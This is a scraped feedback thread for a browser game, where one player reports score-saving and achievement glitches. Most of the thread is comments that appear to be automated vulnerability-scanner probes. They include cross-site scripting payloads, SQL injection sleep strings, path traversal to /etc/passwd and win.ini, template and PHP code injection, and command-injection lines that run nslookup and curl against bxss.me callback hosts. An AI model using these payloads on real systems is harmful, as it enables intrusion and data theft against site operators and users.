Feedback

Two major glitches by BeyPokéDig - 154 months ago

1) Sometimes, when I completely destroy a site, the score will save to a different one that I have already played, but which I don't even have open in another tab. (Example: if i remember correctly, my Reddit score is actually from Cracked.com and my own kickassapp player profile score is actually from Reddit or something) This has happened 4 or 5 times so far
2) I and 24 other people (I don't know who though) got the 30 day achievement. This is my 3rd day playing (actually 4th now but it was 3rd when I began writing) and I havent even clicked the Daily site button 30 times. I clicked twice today, 7 or so times yesterday and 2 times two days ago. I think I haven't even destroyed the Site of the day 30 times in total. (However, it would be nice if I could keep the achievement as a reward for reporting this glitch :) )
There's also a minor glitch which you are probably aware of - nobody has the new achievement. I hope you will let the people who have done it before it was released get it automatically, even though i haven't met the requirements myself before its release :)

• the destructor

  the 1) is also my problem. watch my feedback "It doesn't work"

• رامین رضوانی

  sad

• Boogerflicker

  A glitch I ran across was for the Facebook Achievment. If you had facebook.com opened in a tab and were destroying another site it would eventually give you the achievement for destroying facebook.com.

• Boogerflicker

  I believe it is caused by the bookmark. I think that when you load the kickass bookmark it automatically registers every website opened and as you destroy one it is thinking it is destroying both.

• ilomilo 123

  the 1th Achievment does not work

• Random person1

  i can't do most of the acchivements

• lxbfYeaa

  1

• lxbfYeaa

  1

• JJJ3QQQ

  JJJ30QQQ

• WfxYANoW

  1

• WfxYANoW

  1Dt0DsB0M6O

• 1CixZGPR4NO

  1

• WfxYANoW

  1<esi:include src="http://bxss.me/rpb.png"/>

• WfxYANoW

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

• WfxYANoW

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

• WfxYANoW

  ../../../../../../../../../../../../../../etc/passwd

• WfxYANoW

  Http://bxss.me/t/fit.txt

• WfxYANoW

  http://bxss.me/t/fit.txt?.jpg

• Anonymous

  1

• WfxYANoW

  /etc/shells

• WfxYANoW

  ../../../../../../../../../../../../../../windows/win.ini

• WfxYANoW

  ${9999392+9999025}

• WfxYANoW

  file:///etc/passwd

• ${10000060+10000184}

  1

• WfxYANoW

  response.write(9429655*9122747)

• WfxYANoW

  echo shhfzu$()\ ufkjhe\nz^xyu||a #' &echo shhfzu$()\ ufkjhe\nz^xyu||a #|" &echo shhfzu$()\ ufkjhe\nz^xyu||a #

• WfxYANoW

  1

• WfxYANoW

  '+response.write(9429655*9122747)+'

• WfxYANoW

  &echo nhlhnn$()\ wphzno\nz^xyu||a #' &echo nhlhnn$()\ wphzno\nz^xyu||a #|" &echo nhlhnn$()\ wphzno\nz^xyu||a #

• WfxYANoW

  "+response.write(9429655*9122747)+"

• response.write(9483815*9052294)

  1

• WfxYANoW

  ../1

• WfxYANoW

  1&echo erhmsd$()\ jvxgiq\nz^xyu||a #' &echo erhmsd$()\ jvxgiq\nz^xyu||a #|" &echo erhmsd$()\ jvxgiq\nz^xyu||a #

• WfxYANoW

  ../../../../../../../../../../../../../../etc/shells

• WfxYANoW

  QZq5jIFH

• '+response.write(9483815*9052294)+'

  1

• WfxYANoW

  |echo jhbcpb$()\ abbfkl\nz^xyu||a #' |echo jhbcpb$()\ abbfkl\nz^xyu||a #|" |echo jhbcpb$()\ abbfkl\nz^xyu||a #

• WfxYANoW

  c:/windows/win.ini

• WfxYANoW

  1&n993736=v998383

• WfxYANoW

  xQSHbQJM: 4GA11GZ5

• WfxYANoW

  bxss.me

• WfxYANoW&n982876=v961850

  1

• WfxYANoW

  1|echo gjftao$()\ zwufjw\nz^xyu||a #' |echo gjftao$()\ zwufjw\nz^xyu||a #|" |echo gjftao$()\ zwufjw\nz^xyu||a #

• file:///etc/passwd

  1

• smijvIFj

  1

• "+response.write(9483815*9052294)+"

  1

• xT0SEXui: zpwIKqY2

  1

• VGN5YXFpUVA=

  1

• WfxYANoW

  )

• WfxYANoW

  1

• WfxYANoW

  '.gethostbyname(lc('hituu'.'spszhifrb9262.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(65).chr(109).chr(79).'

• WfxYANoW

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• WfxYANoW

  (nslookup -q=cname hitmplrsywbbi414b7.bxss.me||curl hitmplrsywbbi414b7.bxss.me))

• ../WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoW

  ".gethostbyname(lc("hitqu"."mgupvmyud638e.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(82).chr(109).chr(65)."

• WfxYANoW

  ';print(md5(31337));$a='

• WfxYANoW

  $(nslookup -q=cname hitojuudjhvzdc3b31.bxss.me||curl hitojuudjhvzdc3b31.bxss.me)

• WfxYANoW

  gethostbyname(lc('hitbn'.'ijyolpyre9e93.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(80).chr(117).chr(80)

• WfxYANoW

  !(()&&!|*|*|

• WfxYANoW

  xfs.bxss.me

• 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  1

• WfxYANoW

  ";print(md5(31337));$a="

• WfxYANoW

  ^(#$!@#$)(()))******

• WfxYANoW

  ${@print(md5(31337))}

• Http://bxss.me/t/fit.txt

  1

• WfxYANoW

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• xfs.bxss.me

  1

• http://bxss.me/t/fit.txt?.jpg

  1

• WfxYANoW

  &nslookup -q=cname hitelwnuxbqxg982e5.bxss.me&'\"`0&nslookup -q=cname hitelwnuxbqxg982e5.bxss.me&`'

• )

  1

• WfxYANoW

  ${@print(md5(31337))}\

• /etc/shells

  1

• WfxYANoW

  '"

• WfxYANoW

  1'"()&%<zzz><ScRiPt >ENu1(9792)</ScRiPt>

• WfxYANoW

  '"()

• WfxYANoW

  &(nslookup -q=cname hitcwtnlabozt4e857.bxss.me||curl hitcwtnlabozt4e857.bxss.me)&'\"`0&(nslookup -q=cname hitcwtnlabozt4e857.bxss.me||curl hitcwtnlabozt4e857.bxss.me)&`'

• WfxYANoW

  HttP://bxss.me/t/xss.html?%00

• WfxYANoW

  <!--

• WfxYANoW

  '.print(md5(31337)).'

• !(()&&!|*|*|

  1

• '"

  1

• WfxYANoW

  1'&&sleep(27*1000)*wgljun&&'

• WfxYANoW

  bxss.me/t/xss.html?%00

• ^(#$!@#$)(()))******

  1

• ';print(md5(31337));$a='

  1

• <!--

  1

• c:/windows/win.ini

  1

• WfxYANoW

  |(nslookup -q=cname hithbqdwdwrdncda62.bxss.me||curl hithbqdwdwrdncda62.bxss.me)

• WfxYANoW

  comment

• WfxYANoW

  1"&&sleep(27*1000)*rurcjp&&"

• bxss.me

  1

• WfxYANoW

  1'||sleep(27*1000)*nfkkea||'

• ";print(md5(31337));$a="

  1

• WfxYANoW

  '"()&%<zzz><ScRiPt >ENu1(9371)</ScRiPt>

• WfxYANoW

  "+"A".concat(70-3).concat(22*4).concat(113).concat(84).concat(121).concat(75)+(require"socket" Socket.gethostbyname("hiteo"+"yharezce4b010.bxss.me.")[3].to_s)+"

• WfxYANoW

  comment

• ${@print(md5(31337))}

  1

• WfxYANoW

  1"||sleep(27*1000)*oxggsr||"

• WfxYANoW

  `(nslookup -q=cname hitfjihwlmrwxc6244.bxss.me||curl hitfjihwlmrwxc6244.bxss.me)`

• WfxYANoW

  '+'A'.concat(70-3).concat(22*4).concat(101).concat(81).concat(119).concat(84)+(require'socket' Socket.gethostbyname('hitrs'+'asydwfto65114.bxss.me.')[3].to_s)+'

• ${@print(md5(31337))}\

  1

• WfxYANoW

  ;(nslookup -q=cname hitlwogfybomi62dac.bxss.me||curl hitlwogfybomi62dac.bxss.me)|(nslookup -q=cname hitlwogfybomi62dac.bxss.me||curl hitlwogfybomi62dac.bxss.me)&(nslookup -q=cname hitlwogfybomi62dac.bxss.me||curl hitlwogfybomi62dac.bxss.me)

• WfxYANoW

  comment/.

• WfxYANoW

  1

• WfxYANoW

  'A'.concat(70-3).concat(22*4).concat(118).concat(68).concat(117).concat(84)+(require'socket' Socket.gethostbyname('hitlt'+'rdubgabd35d96.bxss.me.')[3].to_s)

• comment

  1

• '.print(md5(31337)).'

  1

• comment

  1

• WfxYANoW

  19325414

• '"()

  1

• HttP://bxss.me/t/xss.html?%00

  1

• comment/.

  1

• WfxYANoW

  |(nslookup${IFS}-q${IFS}cname${IFS}hitoyjtgtylgic7f7b.bxss.me||curl${IFS}hitoyjtgtylgic7f7b.bxss.me)

• WfxYANoW'&&sleep(27*1000)*cjiawi&&'

  1

• WfxYANoW

  &(nslookup${IFS}-q${IFS}cname${IFS}hitfckksgkhjs3e42d.bxss.me||curl${IFS}hitfckksgkhjs3e42d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfckksgkhjs3e42d.bxss.me||curl${IFS}hitfckksgkhjs3e42d.bxss.me)&`'

• bxss.me/t/xss.html?%00

  1

• WfxYANoW"&&sleep(27*1000)*iqebcl&&"

  1

• WfxYANoW'||sleep(27*1000)*gdioyw||'

  1

• WfxYANoW

  1

• WfxYANoW"||sleep(27*1000)*fxwmqs||"

  1

• WfxYANoW

  bfg10329＜s1﹥s2ʺs3ʹhjl10329

• WfxYANoW

  <%={{={@{#{${dfb}}%>

• WfxYANoW

  <th:t="${dfb}#foreach

• WfxYANoW

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• WfxYANoW

  dfb{{98991*97996}}xca

• WfxYANoW

  dfb[[${98991*97996}]]xca

• WfxYANoW

  dfb__${98991*97996}__::.x

• WfxYANoW

  1

• WfxYANoW

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• WfxYANoW

  1<ScRiPt >ENu1(9636)</ScRiPt>

• WfxYANoW

  1<WNELCQ>E1GDR[!+!]</WNELCQ>

• WfxYANoW

  1<script>ENu1(9802)</script>

• WfxYANoW

  1<script>ENu1(9923)</script>9923

• WfxYANoW

  11eJU61zJ

• WfxYANoW

  1<ScR<ScRiPt>IpT>ENu1(9974)</sCr<ScRiPt>IpT>

• WfxYANoW

  1<ScRiPt >ENu1(9036)</ScRiPt>

• WfxYANoW

  1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9118></ScRiPt>

• WfxYANoW

  1<ScRiPt >ENu1(9877)</ScRiPt>

• WfxYANoW

  1

• WfxYANoW

  1<isindex type=image src=1 onerror=ENu1(9416)>

• WfxYANoW

  -1 OR 2+989-989-1=0+0+0+1 --

• WfxYANoW

  -1 OR 2+39-39-1=0+0+0+1

• WfxYANoW

  -1' OR 2+610-610-1=0+0+0+1 --

• WfxYANoW

  -1' OR 2+29-29-1=0+0+0+1 or '5gpFbEdg'='

• WfxYANoW

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9398'>

• WfxYANoW

  -1" OR 2+774-774-1=0+0+0+1 --

• WfxYANoW

  1<body onload=ENu1(9711)>

• WfxYANoW

  1<img src=//xss.bxss.me/t/dot.gif onload=ENu1(9126)>

• WfxYANoW

  1<img src=xyz OnErRor=ENu1(9261)>

• WfxYANoW

  1<img/src=">" onerror=alert(9469)>

• WfxYANoW

  %31%3C%53%63%52%69%50%74%20%3E%45%4E%75%31%289824%29%3C%2F%73%43%72%69%70%54%3E

• WfxYANoW

  1\u003CScRiPt\ENu1(9348)\u003C/sCripT\u003E

• WfxYANoW

  1&lt;ScRiPt&gt;ENu1(9388)&lt;/sCripT&gt;

• WfxYANoW

  1<input autofocus onfocus=ENu1(9872)>

• WfxYANoW

  <a HrEF=http://xss.bxss.me></a>

• WfxYANoW

  <a HrEF=jaVaScRiPT:>

• WfxYANoW

  1}body{zzz:Expre/**/SSion(ENu1(9945))}

• WfxYANoW

  1vhvHP <ScRiPt >ENu1(9848)</ScRiPt>

• WfxYANoW

  1*if(now()=sysdate(),sleep(15),0)

• WfxYANoW

  1<WDNMCT>J5OGF[!+!]</WDNMCT>

• WfxYANoW

  1<ifRAme sRc=9295.com></IfRamE>

• WfxYANoW

  1<akPlVCo x=9674>

• WfxYANoW

  1<img sRc='http://attacker-9483/log.php?

• WfxYANoW

  1<aKMPTsn<

• WfxYANoW'"()&%<zzz><ScRiPt >ENu1(9357)</ScRiPt>

  1

• '"()&%<zzz><ScRiPt >ENu1(9869)</ScRiPt>

  1

• WfxYANoW9047895

  1

• bfg3118＜s1﹥s2ʺs3ʹhjl3118

  1

• <%={{={@{#{${dfb}}%>

  1

• <th:t="${dfb}#foreach

  1

• 1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

  1

• WfxYANoW

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• dfb{{98991*97996}}xca

  1

• dfb[[${98991*97996}]]xca

  1

• dfb__${98991*97996}__::.x

  1

• "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  1

• WfxYANoW<ScRiPt >ENu1(9418)</ScRiPt>

  1

• WfxYANoW<WSSNPR>VKSNJ[!+!]</WSSNPR>

  1

• WfxYANoW<script>ENu1(9437)</script>

  1

• WfxYANoW<script>ENu1(9748)</script>9748

  1

• WfxYANoW

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• WfxYANoW<ScRiPt >ENu1(9950)</ScRiPt>

  1

• WfxYANoW<ScRiPt >ENu1(9838)</ScRiPt>

  1

• WfxYANoW<body onload=ENu1(9707)>

  1

• WfxYANoW<img src=xyz OnErRor=ENu1(9127)>

  1

• WfxYANoW<img/src=">" onerror=alert(9917)>

  1

• WfxYANoW\u003CScRiPt\ENu1(9801)\u003C/sCripT\u003E

  1

• WfxYANoW&lt;ScRiPt&gt;ENu1(9455)&lt;/sCripT&gt;

  1

• WfxYANoW

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• WfxYANoW<input autofocus onfocus=ENu1(9758)>

  1

• <a HrEF=http://xss.bxss.me></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• WfxYANoW}body{zzz:Expre/**/SSion(ENu1(9825))}

  1

• WfxYANoWSJqmq <ScRiPt >ENu1(9001)</ScRiPt>

  1

• WfxYANoW<WAPW8K>JU1WG[!+!]</WAPW8K>

  1

• WfxYANoW<ifRAme sRc=9054.com></IfRamE>

  1

• WfxYANoW

  1-1; waitfor delay '0:0:15' --

• WfxYANoW<aiuluqw x=9247>

  1

• WfxYANoW<img sRc='http://attacker-9546/log.php?

  1

• WfxYANoW<aaqE820<

  1

• WfxYANoW

  1-1); waitfor delay '0:0:15' --

• WfxYANoW

  1-1 waitfor delay '0:0:15' --

• WfxYANoW

  1FwJ6aIBr'; waitfor delay '0:0:15' --

• WfxYANoW

  1-1 OR 275=(SELECT 275 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1) OR 317=(SELECT 317 FROM PG_SLEEP(15))--

• WfxYANoW

  1-1)) OR 164=(SELECT 164 FROM PG_SLEEP(15))--

• WfxYANoW

  1Peg2gAxz' OR 814=(SELECT 814 FROM PG_SLEEP(15))--

• WfxYANoW

  1s29l57m4') OR 537=(SELECT 537 FROM PG_SLEEP(15))--

• WfxYANoW

  1aM1YXKon')) OR 110=(SELECT 110 FROM PG_SLEEP(15))--

• WfxYANoW

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• WfxYANoW

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• WfxYANoW

  1'"

• WfxYANoW

  @@IvHOT

• WfxYANoW

  1

• WfxYANoW

  1

• WfxYANoWnUdmacEy

  1

• WfxYANoW

  1

• -1 OR 2+820-820-1=0+0+0+1 --

  1

• -1 OR 2+571-571-1=0+0+0+1

  1

• -1' OR 2+784-784-1=0+0+0+1 --

  1

• -1' OR 2+888-888-1=0+0+0+1 or 'J6ZAjBEw'='

  1

• -1" OR 2+792-792-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• WfxYANoW-1 waitfor delay '0:0:15' --

  1

• WfxYANoWJfFYGcpj'; waitfor delay '0:0:15' --

  1

• WfxYANoW'"

  1

• @@G1Bam

  1

• Peter Winter

  555-555-0199@example.com

• Pecedec150

  555-555-0199@example.com

• iaqldecp

  1

• jmcpkgom

  response.write(9093445*9209117)

• jmcpkgom

  '+response.write(9093445*9209117)+'

• mvdpfneg

  1

• jmcpkgom

  "+response.write(9093445*9209117)+"

• mvdpfneg

  1

• response.write(9344980*9910279)

  1

• mvdpfneg

  SdhvAp8c

• poftsxhc

  set|set&set

• '+response.write(9344980*9910279)+'

  1

• mvdpfneg

  -1 OR 2+847-847-1=0+0+0+1 --

• poftsxhc

  $(nslookup 5r49GPWB)

• "+response.write(9344980*9910279)+"

  1

• pkfrqlho

  Uax11jAY

• mvdpfneg

  -1 OR 2+184-184-1=0+0+0+1

• poftsxhc

  &nslookup LOlqkARs&'\"`0&nslookup LOlqkARs&`'

• vqabiaqy

  ../../../../../../../../../../etc/passwd

• TjKaEKCp

  1

• mvdpfneg

  -1' OR 2+911-911-1=0+0+0+1 --

• set|set&set

  1

• vqabiaqy

  ../../../../../../../../../../../../../../../proc/version

• aqwklwni

  1

• mvdpfneg

  -1' OR 2+831-831-1=0+0+0+1 or 'lSzF2Gc4'='

• $(nslookup 9N8L5AEH)

  1

• vqabiaqy

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• mvdpfneg

  -1" OR 2+396-396-1=0+0+0+1 --

• &nslookup xtOB4ipo&'\"`0&nslookup xtOB4ipo&`'

  1

• vqabiaqy

  ../../../../../../../../../../etc/passwd.jpg

• wbjowjys

  ${9999288+9999857}

• mvdpfneg

  if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/

• smptoftr

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

• vqabiaqy

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

• ${9999680+9999201}

  1

• mvdpfneg

  (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

• smptoftr

  1some_inexistent_file_with_long_name.jpg

• vqabiaqy

  /../..//../..//../..//../..//../..//etc/passwd.jpg

• OWlnSU44Qlo=

  1

• ploeiqpa

  1&n940054=v965265

• mvdpfneg

  -1; waitfor delay '0:0:3' --

• aqwklwni

  1

• smptoftr

  Http://testasp.vulnweb.com/t/fit.txt

• vqabiaqy

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

• gpkbpuqn

  )

• mvdpfneg

  -1; waitfor delay '0:0:0' --

• Anonymous

  1

• smptoftr

  http://testasp.vulnweb.com/t/fit.txt?.jpg

• vqabiaqy

  /etc/passwd

• gpkbpuqn

  !(()&&!|*|*|

• mvdpfneg

  -1); waitfor delay '0:0:3' --

• smptoftr

  testasp.vulnweb.com

• vqabiaqy

  %2fetc%2fpasswd

• gpkbpuqn

  ^(#$!@#$)(()))******

• mvdpfneg

  -1); waitfor delay '0:0:7' --

• vqabiaqy

  /.././.././.././.././.././.././.././../etc/./passwd%00

• )

  1

• mvdpfneg

  1 waitfor delay '0:0:3' --

• mwgpotpx

  ;print(md5(acunetix_wvs_security_test));

• 1some_inexistent_file_with_long_name.jpg

  1

• vqabiaqy

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

• hwqgtjgg&n981282=v954134

  1

• !(()&&!|*|*|

  1

• mvdpfneg

  1 waitfor delay '0:0:10' --

• nnkkntrn

  '"()

• mwgpotpx

  ';print(md5(acunetix_wvs_security_test));$a='

• Http://testasp.vulnweb.com/t/fit.txt

  1

• vqabiaqy

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

• ^(#$!@#$)(()))******

  1

• mvdpfneg

  mnhG0iBa'; waitfor delay '0:0:3' --

• mwgpotpx

  ";print(md5(acunetix_wvs_security_test));$a="

• http://testasp.vulnweb.com/t/fit.txt?.jpg

  1

• rqwsjxfb

  http://testasp.vulnweb.com/t/xss.html?%00.jpg

• jengmpdj

  1

• mvdpfneg

  Aw3S2Rci'; waitfor delay '0:0:10' --

• '"()

  1

• mwgpotpx

  ${@print(md5(acunetix_wvs_security_test))}

• testasp.vulnweb.com

  1

• vqabiaqy

  invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

• http://testasp.vulnweb.com/t/xss.html?%00.jpg

  1

• jengmpdj

  comment

• mvdpfneg

  -1;select pg_sleep(7); --

• ciyegvlc

  http://hitgEljnPO4ya.bxss.me/

• mwgpotpx

  ${@print(md5(acunetix_wvs_security_test))}\

• bxwnalbi

  1

• vqabiaqy

  file:///etc/passwd

• yxlevpgo

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

• jengmpdj

  comment

• mvdpfneg

  -1);select pg_sleep(7); --

• ;print(md5(acunetix_wvs_security_test));

  1

• http://hit8HGomwp7p0.bxss.me/

  1

• bxwnalbi

  1'"

• vqabiaqy

  /\../\../\../\../\../\../\../etc/passwd

• jengmpdj

  comment/.

• mvdpfneg

  -1));select pg_sleep(7); --

• ';print(md5(acunetix_wvs_security_test));$a='

  1

• qnxnmctj

  /www.vulnweb.com

• bxwnalbi

  \

• vqabiaqy

  WEB-INF/web.xml

• yovdamda

  '"

• jengmpdj

  1

• mvdpfneg

  ss9B7gaT';select pg_sleep(7); --

• ";print(md5(acunetix_wvs_security_test));$a="

  1

• /www.vulnweb.com

  1

• vqabiaqy

  /WEB-INF/web.xml

• yovdamda

  <!--

• comment

  1

• mvdpfneg

  GjomcRi1');select pg_sleep(7); --

• ${@print(md5(acunetix_wvs_security_test))}

  1

• rjojldqf

  1'"()&%<acx><ScRiPt >9iuQ(9210)</ScRiPt>

• bxwnalbi

  @@30BGJ

• vqabiaqy

  WEB-INF\web.xml

• '"

  1

• comment

  1

• mvdpfneg

  XcVf7TgQ'));select pg_sleep(10); --

• ${@print(md5(acunetix_wvs_security_test))}\

  1

• bxwnalbi

  JyI=

• ../../../../../../../../../../etc/passwd

  1

• <!--

  1

• comment/.

  1

• mvdpfneg

  1

• rjojldqf

  '"()&%<acx><ScRiPt >9iuQ(9762)</ScRiPt>

• mvdpfneg

  1

• T6WvqXVZ

  1

• rjojldqf

  1_9714

• bxwnalbi

  (select convert(int,CHAR(65)))

• ../../../../../../../../../../etc/passwd.jpg

  1

• -1 OR 2+168-168-1=0+0+0+1 --

  1

• bxwnalbi

  1

• -1 OR 2+117-117-1=0+0+0+1

  1

• 1'"

  1

• rjojldqf

  acu8353＜s1﹥s2ʺs3ʹuca8353

• -1' OR 2+713-713-1=0+0+0+1 --

  1

• \

  1

• .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  1

• -1' OR 2+668-668-1=0+0+0+1 or 'pohnbEIn'='

  1

• /etc/passwd

  1

• -1" OR 2+183-183-1=0+0+0+1 --

  1

• @@IOUN1

  1

• %2fetc%2fpasswd

  1

• JyI=

  1

• 1 waitfor delay '0:0:13' --

  1

• FxmCiz5H'; waitfor delay '0:0:13' --

  1

• rjojldqf

  {{10000425*10000020}}

• (select convert(int,CHAR(65)))

  1

• l14SjI4v';select pg_sleep(13); --

  1

• drlgRxiJ');select pg_sleep(19); --

  1

• rjojldqf

  1<ScRiPt >9iuQ(9213)</ScRiPt>

• BWQhadxk'));select pg_sleep(19); --

  1

• file:///etc/passwd

  1

• /\../\../\../\../\../\../\../etc/passwd

  1

• WEB-INF/web.xml

  1

• rjojldqf

  1<WX0SOZ>RBS0X[!+!]</WX0SOZ>

• /WEB-INF/web.xml

  1

• WEB-INF\web.xml

  1

• rjojldqf

  1<script>9iuQ(9059)</script>

• rjojldqf

  1<ScR<ScRiPt>IpT>9iuQ(9557)</sCr<ScRiPt>IpT>

• rjojldqf

  1<ScRiPt >9iuQ(9754)</ScRiPt>

• rjojldqf

  1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9404></ScRiPt>

• rjojldqf

  1<ScRiPt >9iuQ(9137)</ScRiPt>

• rjojldqf

  1<video><source onerror="javascript:9iuQ(9707)">

• rjojldqf

  1<isindex type=image src=1 onerror=9iuQ(9001)>

• rjojldqf

  1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9950'>

• rjojldqf

  1<body onload=9iuQ(9676)>

• rjojldqf

  1<img src=//testasp.vulnweb.com/t/dot.gif onload=9iuQ(9390)>

• rjojldqf

  1<img src=xyz OnErRor=9iuQ(9339)>

• rjojldqf

  1<img/src=">" onerror=alert(9268)>

• rjojldqf

  %31%3C%53%63%52%69%50%74%20%3E%39%69%75%51%289143%29%3C%2F%73%43%72%69%70%54%3E

• rjojldqf

  1\u003CScRiPt\9iuQ(9183)\u003C/sCripT\u003E

• rjojldqf

  1&lt;ScRiPt&gt;9iuQ(9032)&lt;/sCripT&gt;

• rjojldqf

  1<input autofocus onfocus=9iuQ(9206)>

• rjojldqf

  <a HrEF=http://www.vulnweb.com></a>

• rjojldqf

  <a HrEF=jaVaScRiPT:>

• rjojldqf

  [url=http://www.vulnweb.com][/url]

• rjojldqf

  1<img<!-- --> src=x onerror=alert(9704);//><!-- -->

• rjojldqf

  1}body{acu:Expre/**/SSion(9iuQ(9530))}

• rjojldqf

  1<% contenteditable onresize=9iuQ(9641)>

• rjojldqf

  1_HdkM4 <ScRiPt >9iuQ(9440)</ScRiPt>

• rjojldqf

  1<WWFUW8>YKUVJ[!+!]</WWFUW8>

• rjojldqf

  1<ifRAme sRc=9299.com></IfRamE>

• rjojldqf

  1<bvlkaP x=9756>

• rjojldqf

  1<img sRc='http://attacker-9427/log.php?

• rjojldqf'"()&%<acx><ScRiPt >9iuQ(9921)</ScRiPt>

  1

• '"()&%<acx><ScRiPt >9iuQ(9960)</ScRiPt>

  1

• rjojldqf_9404

  1

• acu3980＜s1﹥s2ʺs3ʹuca3980

  1

• {{9999015*9999169}}

  1

• rjojldqf<ScRiPt >9iuQ(9794)</ScRiPt>

  1

• rjojldqf<WFVAYA>JR5FE[!+!]</WFVAYA>

  1

• rjojldqf<script>9iuQ(9904)</script>

  1

• rjojldqf<ScRiPt >9iuQ(9176)</ScRiPt>

  1

• rjojldqf<ScRiPt >9iuQ(9003)</ScRiPt>

  1

• rjojldqf<body onload=9iuQ(9277)>

  1

• rjojldqf<img src=xyz OnErRor=9iuQ(9031)>

  1

• rjojldqf<img/src=">" onerror=alert(9420)>

  1

• rjojldqf\u003CScRiPt\9iuQ(9510)\u003C/sCripT\u003E

  1

• rjojldqf&lt;ScRiPt&gt;9iuQ(9093)&lt;/sCripT&gt;

  1

• rjojldqf<input autofocus onfocus=9iuQ(9490)>

  1

• <a HrEF=http://www.vulnweb.com></a>

  1

• <a HrEF=jaVaScRiPT:>

  1

• [url=http://www.vulnweb.com][/url]

  1

• rjojldqf}body{acu:Expre/**/SSion(9iuQ(9529))}

  1

• rjojldqf<% contenteditable onresize=9iuQ(9991)>

  1

• rjojldqf_yLDK9 <ScRiPt >9iuQ(9419)</ScRiPt>

  1

• rjojldqf<WM9SN0>HQRB4[!+!]</WM9SN0>

  1

• rjojldqf<ifRAme sRc=9242.com></IfRamE>

  1

• rjojldqf<gSCAGS x=9080>

  1

• rjojldqf<img sRc='http://attacker-9154/log.php?

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 152 months ago
  Unvote

  8064 agree

• Hack Protection
  By Stealthkid - 144 months ago
  Unvote

  2857 agree

• Add to favorites
  By Anonymous - 155 months ago
  Unvote

  798 agree

• editro
